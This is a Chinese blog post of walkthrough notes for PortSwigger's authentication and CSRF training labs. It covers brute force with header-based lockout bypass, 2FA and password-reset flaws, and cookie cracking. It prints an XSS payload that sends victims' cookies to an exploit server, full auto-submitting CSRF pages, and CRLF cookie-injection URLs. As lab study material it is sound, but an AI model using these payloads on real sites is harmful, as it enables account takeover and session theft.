freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

    PortSwigger之身份验证+CSRF笔记
    2021-09-08 00:43:21

    Authentication

    https://portswigger.net/web-security/all-labs#authentication

    01 Username enumeration via different responses

    描述

    该实验室容易受到用户名枚举和密码暴力攻击。它有一个具有可预测用户名和密码的帐户,可以在以下单词列表中找到:

    候选人用户名

    候选人密码

    为了解决这个实验,枚举一个有效的用户名,暴力破解这个用户的密码,然后访问他们的帐户页面。

    解决方案

    抓包添加变量的方式很简单,不写了。

    先抓包爆破用户名,字典用题目给出的

    image-20210905235238922

    得到用户名是vagrant

    再爆破密码

    image-20210905235828720

    得到密码amanda

    使用您确定的用户名和密码登录并访问用户帐户页面以解决实验室问题。

    image-20210905235634749

    02 Username enumeration via subtly different responses

    描述

    这个实验室很容易受到用户名枚举和密码暴力攻击的攻击。它有一个具有可预测用户名和密码的帐户,可以在以下单词列表中找到:

    候选人用户名

    候选人密码

    为了解决这个实验,枚举一个有效的用户名,暴力破解这个用户的密码,然后访问他们的帐户页面。

    解决方案

    在“选项”选项卡上的“Grep - Extract”下,单击“add”。在出现的对话框中,向下滚动响应,直到找到错误消息Invalid username or password.。使用鼠标选中显示消息的文本内容。其他设置将自动调整。单击“ok”,然后开始攻击。

    image-20210906150303086

    攻击完成后,请注意还有一个包含您提取的错误消息的附加列。使用此列对结果进行排序,以注意其中一个有“一点”不同,其他后面都是一个点,这个是空格。

    image-20210906150519922

    得到用户名anaheim

    继续使用此用户名爆破密码,得到密码121212

    image-20210906150715124

    登录image-20210906150756053

    03 Username enumeration via response timing

    描述

    该实验室容易受到使用其响应时间的用户名枚举的影响。为了解决这个实验,枚举一个有效的用户名,暴力破解这个用户的密码,然后访问他们的帐户页面。

    暗示

    为了增加挑战,该实验室还实施了一种基于 IP 的蛮力保护形式。但是,这可以通过操纵 HTTP 请求标头轻松绕过。

    解决方案

    如果直接爆破会触发保护机制(30分钟限制)

    image-20210906154235663

    当用户名正确时,密码越长,响应时间就越长

    image-20210906165524156

    使用X-X-Forwarded-For进行绕过检测

    添加X-Forwarded-For: 1

    image-20210906165656872

    第一个位置选择数字范围

    image-20210906162224769

    第二个位置选择用户名字典

    image-20210906162320367

    开始攻击,选择响应时间排序

    image-20210906163305993

    得到用户名azureuser

    image-20210906165822574

    把用户名换进去继续爆破密码,得到密码1234

    image-20210906170003909

    登录

    image-20210906170135653

    04 Broken brute-force protection, IP block

    描述

    由于密码暴力保护的逻辑缺陷,该实验室很容易受到攻击。要解决实验室问题,请暴力破解受害者的密码,然后登录并访问他们的帐户页面。

    您的凭据:wiener:peter

    受害者用户名:carlos

    候选人密码

    解决方案

    这个实验很有意思,如果你连续提交 3 次错误登录请求,那么你的 IP 将被暂时阻止。但是,请注意,你可以通过在达到此限制之前登录自己的帐户来重置登录尝试失败次数的计数器。也就是说爆破密码1~2次后要登录自己的账号一次,以此循环。不能三次,因为三次错误会锁定ip1分钟。还需要注意爆破不能多线程,要不然不符合前面的解题思路,还是会锁定1分钟。

    修改字典,每隔一个密码插入一个peter,此操作实验notepad++执行,替换回车换行符即可

    image-20210906173950299

    image-20210906174002700

    设置用户名字典,用户名wiener要和密码本里面的密码peter对应起来

    image-20210906174218079

    开始爆破

    image-20210906174319462

    按用户名排序,找到302的状态码,密码是123123

    image-20210906175410100

    登录

    image-20210906175602458

    05 Username enumeration via account lock

    描述

    该实验室容易受到用户名枚举的影响。它使用帐户锁定,但这包含一个逻辑缺陷。为了解决这个实验,枚举一个有效的用户名,暴力破解这个用户的密码,然后访问他们的帐户页面。

    候选人用户名

    候选人密码

    解决方案

    在本实验中,我们将利用帐户锁定中的一个逻辑缺陷。我们首先需要枚举出一个有效的用户名,暴力破解密码,就像在之前的实验室中一样。在枚举用户名的时候需要使每一个用户名重复5次,并观察哪个用户名返回更长的响应。

    抓包,设置攻击模式Cluster bomb,对用户名位置添加有效载荷,在末尾处添加空的有效载荷(不对数据包产生影响)

    image-20210906183920683

    第一个添加用户名字典payload

    image-20210906184035482

    第二个添加5个null payload

    image-20210906184125605

    开始攻击

    通过对长度排序,得到用户名oracle

    image-20210906184806689

    爆破密码,sniper方式

    image-20210906184841259

    添加过滤结果

    image-20210906184949657

    没有错误信息的是matrix

    image-20210906185122277

    登录

    image-20210906185210947

    06 Broken brute-force protection, multiple credentials per request

    描述

    由于其蛮力保护存在逻辑缺陷,该实验室很容易受到攻击。为了破解实验室,暴力破解 Carlos 的密码,然后访问他的帐户页面。

    受害者用户名:carlos

    候选人密码

    解决方案

    1.在 Burp 运行的情况下,调查登录页面。请注意,该POST /login请求以JSON格式提交登录凭据。将此请求发送到 Burp Repeater。

    image-20210906185648793

    2.在 Burp Repeater 中,用包含所有候选密码的字符串数组替换密码的单个字符串值。例如: "username" : "carlos", "password" : [ "123456", "password", "qwerty" ... ]

    3.发送请求。这将返回 302 响应。

    image-20210906190211888.png

    4.右键单击此请求并选择“Show response in browser”。复制 URL 并将其加载到浏览器中。页面加载,您以 身份登录carlos。

    image-20210906190312978

    07 2FA simple bypass

    描述

    可以绕过此实验室的双因素身份验证。您已获得有效的用户名和密码,但无权访问用户的 2FA 验证码。要解决实验室问题,请访问 Carlos 的帐户页面。

    您的凭据:wiener:peter

    受害人的证件carlos:montoya

    解决方案

    这个实验需要双重验证,第一重是密码验证,第二重是邮箱验证码。

    自己的凭据wiener:peter可以获取验证码,carlos收不到验证码

    我们先登录自己的账号,获取邮箱验证码登录,保存登录之后的url

    image-20210906191547222

    https://acfd1f051fbd6e818068438d009e00e6.web-security-academy.net/my-account

    登录carlos账户

    image-20210906191634824

    直接把url后面换成/my-account

    访问解题

    image-20210906191717424

    08 2FA broken logic

    描述

    由于其有缺陷的逻辑,该实验室的双因素身份验证很容易受到攻击。要解决实验室问题,请访问 Carlos 的帐户页面。

    您的凭据:wiener:peter

    受害者用户名:carlos

    您还可以访问电子邮件服务器以接收您的 2FA 验证码。

    解决方案

    这个实验的漏洞点在于第一次正常验证,第二次验证时通过修改cookie中verify的用户名,输入这个用户的邮箱验证码就会跳转到哪个用户的登录成功页面。也就是说,只要我们能够获取到carlos的邮箱验证码就ok了。我们并没有这个用户的邮箱验证码,但是可以通过修改获取邮件的数据包的verify参数来发送carlos的邮箱验证码

    1.开启bp的代理,使用浏览器登录wiener用户。我们在http历史中找到GET方法的login2数据包,使用repeater修改verify=carlos,发包

    image-20210907000902094

    2.爆破验证码

    退出wiener用户,重新登录wiener用户,在提交验证码的时候抓包放在intruder,对验证码字段添加标记做为爆破点

    image-20210907001017235

    image-20210907001133977

    开始爆破,在状态码排序,302的就是正确验证码的包

    image-20210907001220653

    3.在响应中右键选择 show response in browser,复制url,放到浏览器访问解决实验

    image-20210907001311991

    image-20210907000210471

    09 2FA bypass using a brute-force attack

    描述

    本实验室的双因素身份验证容易受到暴力破解。您已获得有效的用户名和密码,但无权访问用户的 2FA 验证码。要解决实验室问题,请暴力破解 2FA 代码并访问 Carlos 的帐户页面。

    受害人证件:carlos:montoya

    解决方案

    获取数据包:开始代理,进入登录页面,登录用户carlos,输入验证码1111提交。

    Project options的sessions标签下Session Handling Rules功能点击add添加

    image-20210907003604888

    scope中选择应用于所有的urls

    image-20210907003638543

    添加Rule Actions

    image-20210907003710522

    选择run Rule a macro

    image-20210907003746288

    添加macro

    image-20210907004123129

    选择这三个数据包,OK

    image-20210907004419776

    点击test macro测试

    image-20210907004522219

    可以正常显示第三个数据包的响应,这是我们想要的

    image-20210907004610564

    点击4次OK确认添加

    image-20210907004706456

    后面操作就是正常爆破验证码流程了,添加到intruderimage-20210907004821914

    设置字典image-20210907004940414

    线程设置为1,开始攻击image-20210907005038290

    这可也太慢了,还好是0开头的image-20210907011558871

    放到浏览器访问image-20210907011628199

    10 Brute-forcing a stay-logged-in cookie

    描述

    此实验室允许用户在关闭浏览器会话后仍保持登录状态。用于提供此功能的 cookie 容易受到暴力破解。

    为了解决实验室问题,暴力破解 Carlos 的 cookie 以访问他的“我的帐户”页面。

    您的凭据:wiener:peter

    受害者用户名:carlos

    候选人密码

    解决方案

    这个漏洞点在GET /my-account数据包修改正确的cookie的stay-logged-in值就可以登录用户

    1.通过代理登录wiener,在GET /my-account数据包中发现cookie的stay-logged-in值是base64编码

    image-20210907094844467

    解码结果是

    wiener:51dc30ddc473d43a6011e9ebba6ca770
    md5在线查询网站https://www.somd5.com/
    解码结果是peter

    可以使用bp爆破

    发送到intruder

    image-20210907095019338

    将密码字典paste进去,payload processing添加规则

    第一条MD5是对上面密码字典进行md5加密处理,add prefix添加前缀carlos:是固定的格式,结果就是carlos:md5,最后对结果进行base64加密就是我们需要的cookie的stay-logged-in值

    image-20210907095118098

    开始攻击,长度排序得到答案image-20210907095356513

    Y2FybG9zOjFiYmQ4ODY0NjA4MjcwMTVlNWQ2MDVlZDQ0MjUyMjUx
    解码结果是carlos:1bbd886460827015e5d605ed44252251
    md5查询得到密码11111111

    登录得到解答image-20210907095555012

    11 Offline password cracking

    描述

    该实验室将用户的密码哈希存储在 cookie 中。该实验室的评论功能中还包含一个 XSS 漏洞。要解决实验室问题,请获取卡洛斯的stay-logged-incookie 并使用它来破解他的密码。然后,登录carlos并从“我的帐户”页面中删除他的帐户。

    您的凭据:wiener:peter

    受害者用户名:carlos

    解决方案

    1.漏洞在于评论处XSS,登录用户的cookie的stay-logged-in值中包含密码的md5值

    image-20210907102105273

    2.XSS攻击

    登录wiener用户,找一个博客文章进行评论

    <script>document.location='//your-exploit-server-id.web-security-academy.net/'+document.cookie</script>​
    <script>document.location='//exploit-ac631f2f1fbe5bc4807003cf01b70086.web-security-academy.net/'+document.cookie</script>

    image-20210907102538003

    获取cookie

    image-20210907101514471

    Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz
    解码得到carlos:26323c16d5f4dabff3bb136f2460a943
    md5查询得到密码onceuponatime

    删除账户解决实验

    image-20210907101435483

    image-20210907101401657

    12 Password reset broken logic

    描述

    该实验室的密码重置功能易受攻击。要解决实验室问题,请重置 Carlos 的密码,然后登录并访问他的“我的帐户”页面。

    您的凭据:wiener:peter

    受害者用户名:carlos

    进入实验室

    解决方案

    这个实验室的漏洞在忘记密码发送重置密码的链接只对用户名进行了验证。

    只要我们得到重置密码的数据包,只需要将用户名换成carlos就可以成功修改密码,需要注意的一点是数据包中的temp-forgot-password-token可以重复使用,当我把temp-forgot-password-token的值删除后仍然可以成功修改密码。

    开启代理,使用wiener用户操作找回密码的过程,在邮箱中获取到找回密码链接,输入新密码就可以重置密码成功。image-20210907220729639

    找到重置密码的数据包,放到repeater,用户名修改为carlos,发包image-20210907220835109

    登录carlos/123456成功image-20210907220308336

    当我删除temp-forgot-password-token后依然重置成功

    image-20210907221103048

    image-20210907221225504

    13 Password reset poisoning via middleware

    描述

    该实验室容易受到密码重置中毒的影响。用户carlos会不小心点击他收到的电子邮件中的任何链接。要解决实验室,请登录卡洛斯的帐户。您可以使用以下凭据登录您自己的帐户:wiener:peter. 任何发送到此帐户的电子邮件都可以通过漏洞利用服务器上的电子邮件客户端读取。

    进入实验室

    解决方案

    与上一个实验相比较而言,在重置密码的部分对temp-forgot-password-token值进行了校验,temp-forgot-password-token的值必须与用户对应才可以修改密码。在本实验中X-Forwarded-Host标头是受支持的,您可以使用它来将动态生成的重置链接指向任意域。

    1.bp获取到忘记密码的POST 数据包image-20210907233933280

    2.将此数据包发送到repeater,对数据包添加X-Forwarded-Hostbi标头,并指向漏洞服务器

    X-Forwarded-Host: exploit-acbb1f731fa3260a818601a701110019.web-security-academy.net

    3.在日志中可以看到返回的temp-forgot-password-token值

    temp-forgot-password-token=0Bfz89td9StCrkAQNwv9DFOhXql0eIzI

    image-20210907234309045

    4将重置密码的数据包中的temp-forgot-password-token值替换,进行设置的密码就是carlos的密码

    image-20210907234442835

    登录carlos

    image-20210907234523533

    14 Password brute-force via password change

    描述

    该实验室的密码更改功能使其容易受到暴力攻击。要解决实验室问题,请使用候选密码列表对 Carlos 的帐户进行暴力破解并访问他的“我的帐户”页面。

    您的凭据:wiener:peter

    受害者用户名:carlos

    候选人密码

    解决方案

    本实验的思路是在修改密码的时候通过对正确原始密码+不一致的新密码、错误原密码+不一致新密码、错误原密码+一致新密码的响应来观察响应的内容。

    第一种情况

    image-20210908001134840

    回显

    New passwords do not match

    image-20210908001152959

    这种情况可以爆破,直接写carlos用户即可。当原密码爆破为正确的时候会显示New passwords do not match,不正确的时候会跳转到登录页面。爆破的时候使用New passwords do not match进行过滤

    第二种情况

    image-20210908001517167

    回显

    Current password is incorrect

    image-20210908001541601

    这种情况只能判断输入的新密码是否相同,不能用来爆破

    第三种情况

    image-20210908001304189

    跳转到登录页面,无回显

    image-20210908001336948

    此情况也无法爆破


    1.在 Bup Intruder 中,将username参数更改为carlos,并向密码位置添加有效负载。新密码设置为两个不同的值。例如:

    username=carlos&current-password=§peter66§&new-password-1=1234&new-password-2=1234888

    image-20210908002332140

    2.在“Payloads”选项卡上,输入密码列表作为有效负载集

    image-20210908002412622

    3.在“选项”选项卡上,添加 grep 匹配规则以标记包含New passwords do not match开始攻击。

    image-20210908002455933

    7.攻击完成后,请注意发现了一个包含该New passwords do not match消息的响应。记下此密码biteme。

    image-20210908003000192

    8.在您的浏览器中,注销您自己的帐户并使用carlos您刚刚确定的用户名和密码重新锁定。

    image-20210908003049322

    CSRF

    01 LAB CSRF vulnerability with no defenses

    描述

    本实验室的电子邮件更改功能易受 CSRF 攻击。

    为了解决这个实验,制作一些 HTML,使用CSRF 攻击来更改查看者的电子邮件地址并将其上传到您的漏洞利用服务器。

    您可以使用以下凭据登录自己的帐户:wiener:peter

    解决

    1.使用您的浏览器通过 Burp Suite 代理流量,登录您的帐户,提交“更新电子邮件”表单,然后在您的代理历史记录中找到生成的请求。
    2.如果您使用Burp Suite Professional,请右键单击请求并选择 Engagement tools / Generate CSRF PoC。启用包含自动提交脚本的选项,然后单击“重新生成”。
    或者,如果您使用Burp Suite 社区版,请使用以下 HTML 模板并填写请求的方法、URL 和正文参数。您可以通过右键单击并选择“复制 URL”来获取请求 URL。
    <form method="$method" action="$url">
    <input type="hidden" name="$param1name" value="$param1value">
    </form>
    <script>
    document.forms[0].submit();
    </script>
    3.转到漏洞利用服务器,将您的漏洞利用 HTML 粘贴到“正文”部分,然后单击“存储”。
    4.要验证漏洞利用是否有效,请单击“查看漏洞利用”自行尝试,然后检查生成的 HTTP 请求和响应。
    5.单击“Deliver to victim”以解决实验室问题。

    1 登录过程抓包,选择bp进入“代理”>“HTTP 历史”查看image-20210905121824170

    2 使用修改邮箱功能将邮箱设置为aaa@aa.comimage-20210905122030798

    3 找到修改邮箱的POST请求包,生成CSRFPOCimage-20210905122418959

    勾选自动提交image-20210905124140213

    点击regenerate重新生成

    image-20210905124218471

    复制下来

    <html>
    <!-- CSRF PoC - generated by Burp Suite Professional -->
    <body>
    <script>history.pushState('', '', '/')</script>
    <form action="https://ac711fdb1f93740f808051ab008d0004.web-security-academy.net/my-account/change-email" method="POST">
    <input type="hidden" name="email" value="test&#64;11&#46;com" />
    <input type="submit" value="Submit request" />
    </form>
    <script>
    document.forms[0].submit();
    </script>
    </body>
    </html>

    打开exploit server

    image-20210905124435819

    image-20210905124525861

    image-20210905124601389

    02 LAB CSRF where token validation depends on request method

    描述

    本实验室的电子邮件更改功能易受 CSRF 攻击。它试图阻止 CSRF 攻击,但仅对某些类型的请求应用防御。

    要解决该实验,请使用您的漏洞利用服务器托管一个 HTML 页面,该页面使用CSRF 攻击来更改查看者的电子邮件地址。

    您可以使用以下凭据登录自己的帐户:wiener:peter

    解决

    1.使用您的浏览器通过 Burp Suite 代理流量,登录您的帐户,提交“更新电子邮件”表单,然后在您的代理历史记录中找到生成的请求。 2.将请求发送到 Burp Repeater 并观察,如果您更改csrf参数的值,则请求将被拒绝。

    image-20210905125239057

    3.使用上下文菜单上的“更改请求方法”将其转换为 GET 请求并观察CSRF 令牌不再被验证。

    image-20210905125339893

    4.如果您使用Burp Suite Professional,请右键单击请求,然后从上下文菜单中选择 Engagement tools / Generate CSRF PoC。启用包含自动提交脚本的选项,然后单击“重新生成”。

    <html>
    <!-- CSRF PoC - generated by Burp Suite Professional -->
    <body>
    <script>history.pushState('', '', '/')</script>
    <form action="https://ac8b1fde1eb5b284802b0fbc006d0065.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="test&#64;11&#46;com" />
    <input type="hidden" name="csrf" value="cnT9jVGtcJNixiLg40JcGmCarbSkPq6" />
    <input type="submit" value="Submit request" />
    </form>
    <script>
    document.forms[0].submit();
    </script>
    </body>
    </html>

    5.转到漏洞利用服务器,将您的漏洞利用 HTML 粘贴到“正文”部分,然后单击“store”。

    6.要验证该漏洞是否有效,请单击“view exploit”并检查生成的 HTTP 请求和响应,自行尝试。

    7.单击“Deliver to victim”以解决实验室问题。

    image-20210905125507264

    03 LAB CSRF where token validation depends on token being present

    描述

    本实验室的电子邮件更改功能易受 CSRF 攻击。

    要解决该实验,请使用您的漏洞利用服务器托管一个 HTML 页面,该页面使用CSRF 攻击来更改查看者的电子邮件地址。

    您可以使用以下凭据登录自己的帐户:wiener:peter

    解决

    1 使用您的浏览器通过 Burp Suite 代理流量,登录您的帐户,提交“更新电子邮件”表单,然后在您的代理历史记录中找到生成的请求。

    image-20210905130404464

    2 将请求发送到 Burp Repeater 并观察,如果您更改csrf参数的值,则请求将被拒绝。 csrf完全 删除参数并观察请求现在已被接受。

    image-20210905130443416

    3如果您使用Burp Suite Professional,请右键单击请求,然后从上下文菜单中选择 Engagement tools / Generate CSRF PoC。启用包含自动提交脚本的选项,然后单击“重新生成”。 或者,如果您使用Burp Suite 社区版,请使用以下 HTML 模板并填写请求的方法、URL 和正文参数。您可以通过右键单击并选择“复制 URL”来获取请求 URL。

    <html>
    <!-- CSRF PoC - generated by Burp Suite Professional -->
    <body>
    <script>history.pushState('', '', '/')</script>
    <form action="https://acad1f5a1e22b210802511ba00240068.web-security-academy.net/my-account/change-email" method="POST">
    <input type="hidden" name="email" value="test&#64;11&#46;com" />
    <input type="submit" value="Submit request" />
    </form>
    <script>
    document.forms[0].submit();
    </script>
    </body>
    </html>

    4转到漏洞利用服务器,将您的漏洞利用 HTML 粘贴到“body”部分,然后单击“store”。

    image-20210905130521038

    5要验证该漏洞是否有效,请单击“view exploit”并检查生成的 HTTP 请求和响应,自行尝试。

    image-20210905130532806

    6单击“Deliver to victim”以解决实验室问题。

    image-20210905130555598

    04 LAB CSRF where token is not tied to user session

    描述

    本实验室的电子邮件更改功能易受 CSRF 攻击。它使用令牌来尝试防止 CSRF 攻击,但它们没有集成到站点的会话处理系统中。

    要解决该实验,请使用您的漏洞利用服务器托管一个 HTML 页面,该页面使用CSRF 攻击来更改查看者的电子邮件地址。

    您在应用程序上有两个帐户,可用于帮助设计攻击。凭据如下:

    wiener:peter

    carlos:montoya

    解决

    1.使用您的浏览器通过 Burp Suite 代理流量,登录您的帐户,提交“更新电子邮件”表单,并拦截由此产生的请求。必须拦截,因为csrf令牌是一次性的,这个包里面的令牌不能用两次,所以要把包删掉

    image-20210905131103412

    2.记下CSRF 令牌的值,然后点击Drop删除请求。

    csrf=pVb6G3EFiijsfsKo9R0KvGlbQ4KcTbbm

    image-20210905131734029

    3.打开一个私人/隐身浏览器窗口,登录到您的另一个帐户,然后将更新电子邮件请求发送到 Burp Repeater。

    image-20210905131251575

    4.请注意,如果您将 CSRF 令牌与其他帐户的值交换,则该请求将被接受。


    csrf=qracOsGVYeusDaNynC6mO9GcODOqKEdd
    替换
    csrf=pVb6G3EFiijsfsKo9R0KvGlbQ4KcTbbm

    image-20210905131903817

    5.创建并托管一个概念证明漏洞利用,如没有防御实验室的CSRF 漏洞的解决方案中所述。请注意,CSRF 令牌是一次性的,因此您需要包含一个新令牌(再抓个包)。

    <html>
    <!-- CSRF PoC - generated by Burp Suite Professional -->
    <body>
    <script>history.pushState('', '', '/')</script>
    <form action="https://ac321fb01eae7c78802da405005b0023.web-security-academy.net/my-account/change-email" method="POST">
    <input type="hidden" name="email" value="666&#64;qq&#46;com" />
    <input type="hidden" name="csrf" value="clAC9RgHhOtiRIZ0ICPrB28TvzkNmHoh" />
    <input type="submit" value="Submit request" />
    </form>
    <script>
    document.forms[0].submit();
    </script>
    </body>
    </html>

    6.存储漏洞,然后单击“交付给受害者”以解决实验室问题。

    image-20210905132040092

    05 LAB CSRF where token is tied to non-session cookie

    描述

    本实验室的电子邮件更改功能易受 CSRF 攻击。它使用令牌来尝试防止 CSRF 攻击,但它们并没有完全集成到站点的会话处理系统中。

    要解决该实验,请使用您的漏洞利用服务器托管一个 HTML 页面,该页面使用CSRF 攻击来更改查看者的电子邮件地址。

    您在应用程序上有两个帐户,可用于帮助设计攻击。凭据如下:

    wiener:peter

    carlos:montoya

    解决

    思路描述:这个实验环境不说了。前提是被攻击者是登录状态,由于靶机存在csrfKeycookie注入漏洞(可以直接将我们定义好的cookie注入到靶机),攻击的时候的CSRF POC中需要把<img src="https://acd21fef1fb60e0d80ed0274001c009c.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=XUFu11hyHONKPlxKPd6AGCPbMPlTTV6K" onerror="document.forms[0].submit()">这句话加进去作用是将已知的cookie注入给被攻击者(登录状态)。csrfcookie注入进去之后再使用我们的poc就能正常攻击了(csrfcookie和csrf令牌对应就可以验证成功,跟用户cookie无关)。说的很乱,我是懂了。。。heihei

    1.使用您的浏览器通过 Burp Suite 代理流量,登录您的帐户,提交“更新电子邮件”表单,然后在您的代理历史记录中找到生成的请求。

    2.将请求发送到 Burp Repeater 并观察更改sessioncookie会使您注销,但更改csrfKeycookie 只会导致CSRF 令牌被拒绝。这表明csrfKeycookie 可能没有严格绑定到会话。

    修改sessioncookieimage-20210905135438936

    修改csrfKeycookieimage-20210905135528530

    3.打开私人/隐身浏览器窗口,登录到您的另一个帐户,然后向 Burp Repeater 发送新的更新电子邮件请求。

    4.请注意,如果您将csrfKeycookie 和csrf参数从第一个帐户交换到第二个帐户,则请求被接受。image-20210905135353548

    5.关闭转发器选项卡和隐身浏览器。

    6.返回原始浏览器,执行搜索,将结果请求发送到 Burp Repeater,并观察搜索词是否反映在 Set-Cookie 标头中。由于搜索功能没有 CSRF 保护,您可以使用它来将 cookie 注入受害者用户的浏览器。

    https://acd21fef1fb60e0d80ed0274001c009c.web-security-academy.net/?search=test

    image-20210905142141112

    7.创建一个使用此漏洞的 URL 将您的csrfKeycookie 注入受害者的浏览器:

    https://acd21fef1fb60e0d80ed0274001c009c.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=XUFu11hyHONKPlxKPd6AGCPbMPlTTV6K

    image-20210905141951718

    9.删除该script块,而是添加以下代码以注入 cookie:

    <html>
    <!-- CSRF PoC - generated by Burp Suite Professional -->
    <body>
    <script>history.pushState('', '', '/')</script>
    <form action="https://acd21fef1fb60e0d80ed0274001c009c.web-security-academy.net/my-account/change-email" method="POST">
    <input type="hidden" name="email" value="test&#64;11&#46;com" />
    <input type="hidden" name="csrf" value="TGBbvS9O57sj1mGR93uhCbWsTwyshUf7" />
    <input type="submit" value="Submit request" />
    </form>
    <img src="https://acd21fef1fb60e0d80ed0274001c009c.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=XUFu11hyHONKPlxKPd6AGCPbMPlTTV6K" onerror="document.forms[0].submit()">
    </body>
    </html>

    10.存储漏洞,然后单击“交付给受害者”以解决实验室问题。image-20210905141903462

    06 LAB CSRF where token is duplicated in cookie

    描述

    本实验室的电子邮件更改功能易受 CSRF 攻击。它试图使用不安全的“双重提交”CSRF 预防技术。

    要解决该实验,请使用您的漏洞利用服务器托管一个 HTML 页面,该页面使用CSRF 攻击来更改查看者的电子邮件地址。

    您可以使用以下凭据登录自己的帐户:wiener:peter

    解决

    1.使用您的浏览器通过 Burp Suite 代理流量,登录您的帐户,提交“更新电子邮件”表单,然后在您的代理历史记录中找到生成的请求。

    2.将请求发送到 Burp Repeater 并观察csrfbody 参数的值只是通过将它与csrfcookie进行比较来验证。image-20210905153539631

    3.执行搜索,将结果请求发送到 Burp Repeater,并观察搜索词是否反映在 Set-Cookie 标头中。由于搜索功能没有 CSRF 保护,您可以使用它来将 cookie 注入受害者用户的浏览器。image-20210905154022452

    4.创建一个 URL,利用此漏洞将虚假csrfcookie 注入受害者的浏览器: /?search=test%0d%0aSet-Cookie:%20csrf=fakeimage-20210905154109575

    5.按照没有防御实验室 的CSRF 漏洞解决方案中的说明创建并托管概念验证漏洞利用,确保您的CSRF 令牌设置为“假”。应该从电子邮件更改请求中创建漏洞利用。

    6.删除脚本块,改为添加以下代码以注入 cookie 并提交表单:

    <html>
    <!-- CSRF PoC - generated by Burp Suite Professional -->
    <body>
    <script>history.pushState('', '', '/')</script>
    <form action="https://acda1f281e3770c2807613ae00ce00d6.web-security-academy.net/my-account/change-email" method="POST">
    <input type="hidden" name="email" value="test&#64;11&#46;com" />
    <input type="hidden" name="csrf" value="ch4nge" />
    <input type="submit" value="Submit request" />
    </form>
    <img src="https://acda1f281e3770c2807613ae00ce00d6.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=ch4nge" onerror="document.forms[0].submit();"/>
    </body>
    </html>

    7.存储漏洞,然后单击“交付给受害者”以解决实验室问题。

    image-20210905153946497


    07 LAB CSRF where Referer validation depends on header being present

    描述

    本实验室的电子邮件更改功能易受 CSRF 攻击。它试图阻止跨域请求,但具有不安全的回退。

    要解决该实验,请使用您的漏洞利用服务器托管一个 HTML 页面,该页面使用CSRF 攻击来更改查看者的电子邮件地址。

    您可以使用以下凭据登录自己的帐户:

    解决

    1.使用您的浏览器通过 Burp Suite 代理流量,登录您的帐户,提交“更新电子邮件”表单,然后在您的代理历史记录中找到生成的请求。

    2.将请求发送到 Burp Repeater 并观察如果您更改 Referer HTTP 标头中的域,则请求将被拒绝。image-20210905152001442

    3.完全删除 Referer 标头并观察请求现在已被接受。image-20210905152019732

    4.创建并托管一个概念证明漏洞利用,如没有防御实验室的CSRF 漏洞的解决方案中所述。包含以下 HTML 以禁止 Referer 标头:

    <meta name="referrer" content="no-referrer">
    <html>
    <!-- CSRF PoC - generated by Burp Suite Professional -->
    <body>
    <script>history.pushState('', '', '/')</script>
    <form action="https://acc91f691fe1085e803e000d00fe0090.web-security-academy.net/my-account/change-email" method="POST">
    <input type="hidden" name="email" value="test&#64;11&#46;com" />
    <input type="submit" value="Submit request" />
    </form>
    <script>
    document.forms[0].submit();
    </script>
    </body>
    </html>

    5.存储漏洞,然后单击“交付给受害者”以解决实验室问题。

    image-20210905152044084

    08 LAB CSRF with broken Referer validation

    描述

    本实验室的电子邮件更改功能易受 CSRF 攻击。它尝试检测和阻止跨域请求,但可以绕过检测机制。

    要解决该实验,请使用您的漏洞利用服务器托管一个 HTML 页面,该页面使用CSRF 攻击来更改查看者的电子邮件地址。

    您可以使用以下凭据登录自己的帐户:wiener:peter

    解决

    1.使用您的浏览器通过 Burp Suite 代理流量,登录您的帐户,提交“更新电子邮件”表单,然后在您的代理历史记录中找到生成的请求。

    2.将请求发送到 Burp Repeater。请注意,如果您更改 Referer HTTP 标头中的域,请求将被拒绝。

    3.复制您的实验室实例的原始域并将其以查询字符串的形式附加到 Referer 标头中。结果应该是这样的: Referer: https://ac661f171fd143d980c4313c001d00a6.web-security-academy.net

    4.发送请求并观察它现在已被接受。该网站似乎接受任何 Referer 标头,只要它在字符串中的某处包含预期的域即可。

    5.按照CSRF 漏洞解决方案中的描述创建一个 CSRF 概念验证,没有防御实验室,并将其托管在漏洞利用服务器上。编辑 JavaScript,使history.pushState()函数的第三个参数包含一个带有您的实验室实例 URL 的查询字符串,如下所示: 这将导致生成的请求中的 Referer 标头在查询字符串中包含目标站点的 URL,就像我们测试过的一样早些时候。 history.pushState("", "", "/?your-lab-id.web-security-academy.net")

    6.如果您存储漏洞并通过单击“查看漏洞”进行测试,您可能会再次遇到“无效的Referer header”错误。这是因为作为安全措施,许多浏览器现在默认从 Referer 标头中删除查询字符串。要覆盖此行为并确保请求中包含完整 URL,请返回漏洞利用服务器并将以下标头添加到“Head”部分: 请注意,与普通的 Referer 标头不同,必须拼写单词“referrer”在这种情况下正确。 Referrer-Policy: unsafe-urlimage-20210905153334738

    header

    HTTP/1.1 200 OK
    Content-Type: text/html; charset=utf-8
    Referrer-Policy: unsafe-url

    body

    <html>
    <!-- CSRF PoC - generated by Burp Suite Professional -->
    <body>
    <script>history.pushState('', '', '/')</script>
    <form action="https://ac661f171fd143d980c4313c001d00a6.web-security-academy.net/my-account/change-email" method="POST">
    <input type="hidden" name="email" value="test&#64;11&#46;com" />
    <input type="submit" value="Submit request" />
    </form>
    <script>
    history.pushState("", "", "/?https://ac661f171fd143d980c4313c001d00a6.web-security-academy.net")
    document.forms[0].submit();
    </script>
    </body>
    </html>

    7.存储漏洞,然后单击“交付给受害者”以解决实验室问题。

    image-20210905153349753

    本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
    被以下专辑收录,发现更多精彩内容
    + 收入我的专辑
    + 加入我的收藏
    相关推荐
    • 0 文章数
    • 0 关注者
    文章目录